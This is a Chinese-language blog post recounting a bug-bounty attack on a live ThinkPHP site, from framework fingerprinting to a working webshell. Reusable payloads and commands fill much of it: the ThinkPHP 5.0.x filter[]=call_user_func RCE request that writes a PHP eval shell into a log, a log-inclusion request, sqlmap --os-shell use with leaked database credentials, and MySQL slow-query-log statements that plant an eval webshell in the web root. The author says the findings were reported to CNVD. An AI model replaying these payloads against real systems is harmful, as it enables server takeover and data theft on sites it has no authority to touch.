記一次TP框架的SRC到getshell

k1115h0t 發表於 2022-01-26
框架

記一次TP框架的SRC

​ 昨天的用的Druid洩露的session進後臺拿shell還是覺得不太過癮,也沒學到啥新的知識。於是乎今天又找了幾個新的站點來試試,哈哈哈哈哈哈。

​ 這次操作純屬菜雞練手,哪些地方可以改進還希望大佬們指出一下

1 · 站點後臺並發現是tp框架

​ 首先找到的是站點後臺,但是有驗證碼。
記一次TP框架的SRC到getshell

掃目錄的時候沒有 404.html,說明站點沒有設定統一的報錯頁面,那麼應該就可以人為製造報錯來檢視框架。

果然是熟悉的tp框架,直接祭上神器碰碰運氣,看能不能碰到tp版本的漏洞

記一次TP框架的SRC到getshell

工具顯示存在多個漏洞,其中有部分屬於誤報。

記一次TP框架的SRC到getshell

2 · 嘗試獲得shell

嘗試使用工具自帶的寫馬功能,但是實際操作之後發現無法連線。下載檔案檢視後發現“>” 和“<” 變成了html中的實體字元。

​ 大一學過一些java,本來準備檢視工具的原始碼。但是github上的原始碼檔案是空的,遂作罷

工具自帶的木馬:
    &lt;?php @eval($_POST['showshell'])?&gt;

嘗試使用工具爆出的資料庫賬號密碼加上 --os-shell 寫入shell

sqlmap -d mysql://name:[email protected]:port/dbs_name

最後以失敗告終。。。。。

記一次TP框架的SRC到getshell

常規使用--os-shell的前提有三個:

(1)網站必須是root許可權

(2)攻擊者需要知道網站的絕對路徑

(3)GPC為off,php主動轉義的功能關閉

​ 直接連線資料庫檢視能不能找到管理員的賬號和密碼

​ 找到一個像是主機的賬號、密碼錶。

記一次TP框架的SRC到getshell

驚悚時刻來了,這個伺服器的管理員突然上線 mysql 了。有點把子嚇人。

​ 拿到了pe_admin表中的內容後,嘗試通過ssh連線伺服器。但是發現這臺伺服器並沒有ssh埠,這就很疑惑了

nmap -sV -n ip

感覺自己有點傻,為什麼不直接去網站的資料庫找網站的後臺登陸賬號密碼呢。

記一次TP框架的SRC到getshell

最後成功進入後臺管理系統,不過這後臺功能有點少啊,根本找不到上傳點。看來還得想別的辦法。

記一次TP框架的SRC到getshell
)

3 · 從TP框架入手

看來只能轉換一下思路,從tp框架入手了。

這裡直接 phpinfo 看一下 disable_functions()禁用了哪些函式。phpinfo的成功執行也證明是有RCE漏洞的

記一次TP框架的SRC到getshell

​ 在嘗試了幾種方法之後發現無果,而且由於 php版本為 7.3 導致無法使用 assert 來執行命令。

自己不會沒關係,網上肯定有人會。這裡開始去網上搜各個大佬的方法。最終經過各種嘗試,把希望寄在了將馬寫在日誌或者session裡

​ 寫入shell檔案到日誌中

/index.php?s=captcha
_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST['shell']); ?>

​ 包含日誌檔案getshell

/index.php?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202201/25.log&shell=phpinfo();

​ 經測試,成功寫入shell,但是此時只有極小的許可權,並且虛擬由於 disable_function 的原因,虛擬終端無法使用。

​ 這裡看了幾個大佬的部落格,ThinkPHP5.0.X RCE PHP7 利用方式 可以使用載入遠端檔案的方式去包含真正的shell。孩子要是有一臺伺服器就好了
記一次TP框架的SRC到getshell

記一次TP框架的SRC到getshell

4 · 通過MYSQL寫入shell

突然想起來手裡還有資料庫的賬號和密碼,可以嘗試使用mysql手動寫shell。

檢視使用者及許可權
   SELECT user,host FROM mysql.user;

記一次TP框架的SRC到getshell

​ 站點的絕對路徑已經通過tp報錯頁和phpinfo拿到了

select '<?php  @eval($_POST[showshell]);?>' into outfile 'D:\wwwroot\xxxxxxxx\public\index.php';

記一次TP框架的SRC到getshell

​ 報錯是因為mysql配置的 --secure-file-priv 預設值為 null,而只有當其值非空的時候才才能使用 into oufile 寫入檔案。


關於慢查詢:

​ 當使用者操作的查詢語句超過系統的預設時間時,系統就會將此條語句紀錄到慢查詢日誌中。系統一般預設的時間是10秒


​ 這裡我們使用慢查詢繞過 security-file-priv 寫入shell:

 查詢  slow query log 狀態
SHOW VARIABLES like '%slow_query_log%';

記一次TP框架的SRC到getshell

​ 可以看到處於預設的關閉狀態。

啟用慢查詢:
set global slow_query_log=1;

記一次TP框架的SRC到getshell

指定慢查詢的日誌檔案路徑及檔名,

SET GLOBAL slow_query_log_file='
D:\wwwroot\xxxxx\public\index.php ';

​ 寫入shell

select '<?php eval($_GET[showshell])?>' or SLEEP(11);

記一次TP框架的SRC到getshell

成功寫入。

這裡遇到一個小問題,windows上的蟻劍和哥斯拉不知道為什麼連不上去。可能是我這邊的環境變數有問題,最後使用kali裡的蟻劍成功連線shell並獲得root許可權

記一次TP框架的SRC到getshell

最後也是一個權重為0的站交不了補天,順利提交兩個src到cnvd。雖然沒能提交到補天,不過也重在練手的過程吧。